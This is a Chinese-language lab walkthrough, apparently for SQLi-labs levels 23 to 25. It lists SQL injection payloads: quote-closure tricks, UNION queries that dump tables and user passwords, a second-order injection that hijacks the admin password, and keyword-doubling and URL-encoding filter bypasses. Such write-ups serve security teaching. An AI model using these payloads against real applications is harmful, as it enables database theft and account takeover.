第23关
判断为get传参,类似于前10关
直接在URL上输入SQL语句
判断为单引号闭合
与前10关不同的是,注释符无效,我们去看看源码
发现注释符被正则表达式过滤
且为id传参,单引号闭合
所以想办法不用注释符就搞掉后面的单引号
于是乎,构造语句?id=1' or '1'='1
联合查询爆数据库
?id=' union select 1,2,database() '
爆表
?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '
爆字段
?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'= '
爆值payload
?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '
当然也可以报错注入和其他方法
第24关
二次注入
这个页面,看起来很高大上的样子
先看一下源码吧,拓展一下做题思路嘛
myaql_real_escape_string是一个防止SQL注入的函数
username没有用这个函数,考虑用username注入,变量$username单引号闭合
在知道admin是特权用户的前提下,可以构造用户名admin'#来拼接到源代码中,相当于admin特权用户
注册一个普通账号,账号名为admin'# 密码随意设,可以设为123456
创建完用户后登录进去·
得到一下页面即为登陆成功, 根据页面提示修改密码,(实际上修改的是admin的密码)
修改完成后点Reset
之后点logout退出,重新登录,用户名用admin,密码为刚刚修改的密码
admin账户登陆成功
SUCCESS!!!
第25关
OR & AND欺骗,双写绕过
先正常测试一下
?id=1
?id=1'
?id=1' --+
方法一,--+绕过,一般注入。
样例payload
?id=-1' union select 1,2 database()--+
发现联合查询就可以,遇见and或or时双写or或and绕过
eg.
?id=0' oorr 1=1 --+
?id=2' aandnd 1=1 --+
eg.
?id=-1' union select 1,2,group_concat(username,0x7e,passwoorrd) from users--+
方法二,用逻辑运算符与&&代替and,逻辑运算符或||代替or
但是在URL中,需要对&&,||进行URL编码
http://www.jsons.cn/urlencode/
eg.
?id=0' %7C%7C 1=1 --+
?id=2' %26%26 1=1 --+